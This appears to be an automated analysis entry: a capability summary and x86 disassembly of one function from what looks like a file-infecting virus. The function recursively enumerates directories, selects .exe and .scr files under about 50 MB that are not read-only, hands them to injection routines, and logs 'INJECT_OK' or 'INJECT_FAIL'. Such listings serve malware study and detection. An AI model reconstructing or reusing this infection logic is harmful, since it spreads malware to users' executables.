Function at 0x402e70
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0xffffffffffffffff
push 0x405beb
mov eax, dword fs:[0]
push eax
sub esp, 0xe5c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xe58], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0xe70]
mov dword fs:[0], eax
mov eax, dword [esp + 0xe84]
mov ecx, dword [esp + 0xe88]
mov ebp, dword [esp + 0xe8c]
push 0x3ff
lea edx, [esp + 0x671]
push 0
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
mov byte [esp + 0x678], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x3ff
lea eax, [esp + 0xa71]
push 0
push eax
mov byte [esp + 0xa78], 0
call sub.MSVCR80.dll_memset
mov eax, dword [esp + 0xe8c]
lea edx, [esp + 0xa78]
add esp, 0xc
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x402f16
lea eax, [esp + 0xa6c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x402f30
sub eax, edx
cmp byte [esp + eax + 0xa6b], 0x5c
je 0x402f64
lea edi, [esp + 0xa6c]
add edi, 0xffffffff
nop
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x402f50
mov cx, word [0x406354]
mov word [edi], cx
lea edx, [esp + 0xa6c]
push edx
push str._s.
lea eax, [esp + 0x674]
push 0x400
push eax
call dword [sym.imp.MSVCR80.dll_sprintf_s]
add esp, 0x10
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x670]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x20], esi
jne 0x402fac
xor eax, eax
jmp 0x403251
mov dword [esp + 0x1c], 0
mov bl, byte [esp + 0x24]
test bl, 0x10
je 0x403018
cmp byte [esp + 0x50], 0x2e
je 0x40321b
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0xa70]
push ecx
push str._s_s_
lea edx, [esp + 0x678]
push 0x400
push edx
call dword [sym.imp.MSVCR80.dll_sprintf_s]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
add esp, 0x14
push ebp
push eax
push ecx
lea edx, [esp + 0x678]
push edx
call fcn.00402e70
add esp, 0x10
test eax, eax
je 0x403246
jmp 0x40321b
lea eax, [esp + 0x50]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403020
sub eax, edx
cmp eax, 5
jb 0x40321b
lea eax, [esp + 0x50]
lea edx, [eax + 1]
jmp 0x403040
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403040
sub eax, edx
lea esi, [esp + eax + 0x4c]
mov edi, str..exe
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x4030d9
lea eax, [esp + 0x50]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403066
sub eax, edx
mov edi, str..EXE
lea esi, [esp + eax + 0x4c]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4030d9
lea eax, [esp + 0x50]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403090
sub eax, edx
lea esi, [esp + eax + 0x4c]
mov edi, str..scr
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x4030d9
lea eax, [esp + 0x50]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4030b6
sub eax, edx
mov edi, str..SCR
lea esi, [esp + eax + 0x4c]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40321b
cmp dword [esp + 0x44], 0x3200000
ja 0x40321b
cmp dword [esp + 0x40], 0
jne 0x40321b
test bl, 1
jne 0x40321b
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0xa70]
push ecx
push 0x406254
lea edx, [esp + 0x678]
push 0x400
push edx
call dword [sym.imp.MSVCR80.dll_sprintf_s]
add esp, 0x14
xor esi, esi
push 0x100
lea eax, [esp + 0x170]
push esi
push eax
mov dword [esp + 0x170], esi
mov dword [esp + 0x174], esi
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x400
lea ecx, [esp + 0x270]
push esi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x66c]
lea ecx, [esp + 0x164]
mov dword [esp + 0xe78], esi
call fcn.00405040
test eax, eax
je 0x403204
lea edx, [esp + 0x164]
push edx
call fcn.00402010
add esp, 4
cmp eax, 0xb
je 0x4031a0
cmp eax, 0xc
je 0x4031a0
cmp eax, 1
jne 0x4031f8
mov ecx, dword [esp + 0x18]
add dword [ecx], 1
mov ecx, eax
lea edx, [esp + 0x164]
call fcn.00402b80
test eax, eax
je 0x4031d3
mov eax, dword [esp + 0x14]
add dword [eax], 1
cmp ebp, esi
je 0x4031f8
lea eax, [esp + 0x66c]
push eax
push str.INJECT_OK____s_n
jmp 0x4031e4
cmp ebp, esi
je 0x4031f8
lea ecx, [esp + 0x66c]
push ecx
push str.INJECT_FAIL__s_n
push ebp
call dword [sym.imp.MSVCR80.dll_fprintf]
add esp, 0xc
push ebp
call dword [sym.imp.MSVCR80.dll_fflush]
add esp, 4
lea eax, [esp + 0x164]
call fcn.00404ff0
lea eax, [esp + 0x164]
mov dword [esp + 0xe78], 0xffffffff
call fcn.00404ff0
mov esi, dword [esp + 0x20]
lea edx, [esp + 0x24]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402fb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x403246
mov dword [esp + 0x1c], 1
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0xe70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xe58]
xor ecx, esp
call fcn.00405321
add esp, 0xe68
ret